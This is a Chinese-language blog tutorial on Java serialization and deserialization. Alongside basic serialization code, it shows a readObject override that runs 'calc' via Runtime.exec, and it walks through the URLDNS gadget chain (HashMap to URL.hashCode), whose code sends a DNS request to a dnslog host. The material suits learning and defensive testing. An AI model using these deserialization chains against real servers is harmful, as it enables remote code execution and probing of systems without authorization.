Java反序列化基础入门

本文详细介绍了Java中的序列化与反序列化过程,包括如何实现Persion类的序列化与反序列化,Serializable接口的使用,以及序列化可能带来的安全问题,如反序列化攻击示例和防范策略。
摘要由CSDN通过智能技术生成

序列化与反序列化

序列化就是把一个Java对象变成字节,序列化的的意义就是传输字节序列,方便应用场景,网络上的传输。
反序列化就是把字节转化为对象,也就是转化为原来的的字符串等等。

序列化代码的实现

Persion.java类的代码

package serializable;

import java.io.Serializable;

public class Persion implements Serializable { //这里调用了原生序列化的接口
    private String name;
    private int age;

    public Persion(String name,int age) {
        this.name = name;
        this.age = age;
    }


    @Override
    public String toString() { //重写toString方法,toString的作用是返回一个描述对象的字符
        return "Persion{" +
                "name='"  + name + '\'' +
                ", age="  + age  +
                '}';
    }
}

SerializationTest.java类的代码

package serializable;

import java.io.FileOutputStream;
import java.io.IOError;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializationTest {
    //序列化obj对象,抛出指定类型的异常,其中serialize的方法名是自定义的
    public static void serialize(Object obj) throws IOError, IOException {
        //这里新建了一个文件输出流指定序列化的文件
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        //写入对象为obj
        oos.writeObject(obj);
    }

    //main方法主动抛出异常类型,方法上抛出s
    public static void main(String[] args) throws Exception{ 
        //新建Persion对象
        Persion persion = new Persion("cike",11);
        //最后输出对象
        System.out.println(persion);
        serialize(persion); //运行前面的serialize方法,之后就会生成序列化ser.bin文件
        
    }
}

运行之后,可以看见序列化成功,且序列化生成了一个ser.bin文件
image.png
如果Persion类不调用原生序列化的接口,它是不可以进行序列化的
image.png
再次运行Serialization类,可以看见报错了,所以不能不调用序列化的接口
image.png

Serializable接口的特点

主要有两个方面:

  • 静态成员变量不能被序列化:因为序列化针对的是对象属性的,而静态成员变量属于类的。
  • transient是Java语言的关键字,用来表示一个成员变量不是该对象序列化的一部分。

反序列化代码的实现

UnSerializeTest.java类的代码

package serializable;   //包机制

import java.io.*; //导入io流包模块

public class UnSerializeTest {
    //创建一个静态属性的Object对象类型的方法,该方法叫做Unserialize,其中方法的参数名是Filename
    public static Object unserialize(String Filename) throws IOError, ClassNotFoundException, IOException {
        
        //创建一个输入文件流的对象,其中输入的文件名为Filename参数,最后定义的对象名变量为oij
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        //ois对象调用读取对象的方法,定义变量名为obj
        Object obj = ois.readObject();
        //最后放回obj值;
        return obj;
    }

    //main主方法名,主动该抛出方法上的一个异常类型Exception
    public static void main(String[] args) throws Exception {
        //其中这里(Persion)为强制类型转换,因为前面的readObject()方法返回的类型是Object,我们
        //要让Java知道我们具体的序列化对象类型是谁?所以这里需要将Object类转化为Persion类
        //最后反序列化的文件ser.bin后定义一个变量persion
        Persion persion = (Persion) unserialize("ser.bin");
        //最后输出反序列化的变量内容 persion
        System.out.println(persion);

    }

}

运行代码,可以看见反序列化读取成功
image.png

Java反序列化产生的安全问题

只要服务端反序列化数据,这个时候客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。

可能出现的漏洞的形式

一般情况下,主要有以下:

  1. 入口类的readObject直接调用危险方法
  2. 入口类参数中包含可控类,该类有危险方法,readObject时调用。
  3. 入口类参数中包含可控类,该类又调用其他危险方法的类,readObject时调用。比如类型定义为Object,调用equals/hashcode/toString 重点:相同类型、同名函数
  4. 构造函数/静态代码块等类加载时隐式执行。
  5. 入口类 source、HasMap(重写readObject 参数类型宽泛 最好jdk自带)

案例演示

入口类的readObject直接调用危险方法

我们在Persion.java类添加这一段代码
image.png

    private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }

可以看见当ois默认反序列化的时候,将会默认执行后面的命令,calc
通过反序列化,可以看见调用计算机成功
image.png
不过这种简单的利用,通常不可能存在

构造反序列化的攻击路线

寻找入口类

首先攻击前提是要找到继承 Serializable接口的入口类
这里以HashMap为例子
image.png
里面的类最好是Object类型,因为它包什么都可以
image.png

寻找重写的readObject中的常用函数

找到重写的readObject方法,然后往下分析
image.png
可以看见这个putVal调用了hash
image.png
Ctrl+鼠标右键hash点击来到这里,可以分析代码
当key为空的时候,调用hashCode()
image.png
我们继续跟进hashCode()方法,可以发现hashCode()方法输入Object类
image.png
hashCode()在Object类中,可以满足我们调用常见的函数。

代码构造

因为都是继承在序列化接口上的,也就是说比如我们正常利用这个攻击路线是属于直接调用。
这里举个例子,因为URL类属于原生序列化接口
image.png
而且,还是用了公共方法hashCode(),在Object类中,刚好和前面的HashMap类一样,都调用了hashCode
image.png
可以看见如果hashCode不为-1,就会调用下面的 handler.hashCode,这里我们跟进一下,这里有一个域名解析,会给指定的url地址发送DNS请求
image.png
我们知道了,HashMap与URL类的相同的方法是hashCode(),我们需要通过这个来实现getHostAddress()的方法利用

HashMap->readObject()->hash()->hashCode()
URL->hashCode()->getHostAddress()
    import java.io.FileOutputStream;
    import java.io.IOError;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.net.URL;
    import java.util.HashMap;

    public class SerializationTest {

        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
                oos.writeObject(obj);
        }

        public static void main(String[] args) throws Exception{
            HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
            URL url = new URL("http://your.dnslog.cn");
            hashmap.put(url,2);
            //serialize(hashmap);
        }
    }

这行代码的意思是,HashMap创建了应该Url类型的键名,还有Intger整数类型的键值的实例化对象,变量为hashmap

HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();

之后给URL键名实例化对象,一个dnslog的地址

URL url = new URL("http://your.dnslog.cn");

至于为什么这里使用 put方法是因为

hashmap.put(url,2); //而2是因为Interger是整数类型

这里需要键名和键值,后面还调用了我们所需要的hash方法
image.png
而hash方法,又会调用hashcdoe方法
image.png
也就是说HashMap类中的URL类型使用hashcode
image.png
image.png
所以最后dnslog接收到了请求
image.png
不过这个是我们通过序列化接受到的dns请求,在实际攻击过程中,我们应该是需要反序列化的时候接受dns请求。
这个是因为hashCode默认的值为-1
image.png
通过代码我们可以发现,如果hashCode不为-1,就会直接返回hashCode。而我们在 hashmap.put()方法的时候,hashCode已经是-1了,已经开始执行了,所以发送了dns请求。
image.png
所以我们应该需要在hashmap.put()方法执行后,再将hashCode()改为-1,最后序列化打包成文件,给服务器反序列化执行的时候,我们就会接收到来自服务器的dns请求了,整个攻击过程攻击成功,这将涉及到Java反射的技巧,Java反射会让代码更加灵活,具有动态性。
具体操作过程,可以参考我这篇:

https://blog.csdn.net/weixin_53912233/article/details/137107190

攻击思路

  • 要实现反序列化的攻击,首先第一点,我们要找到一个入口类,比如souce,然后里面的类最好是Object类型,因为它包什么都可以

  • 然后之后它可以重写readObject方法,重写之后再readObject里面,再调用一个常见的函数,根据不同的类和不同的反应,进一步调用链,最好是调用常见的函数或者JDK自带

  • 调用链 gadget chain 相同名称 相同类型(继承了父类或者相同的接口)执行类sink (rce ssrff 写文件等等)最后要执行攻击的地方

  • 8
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cike_y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值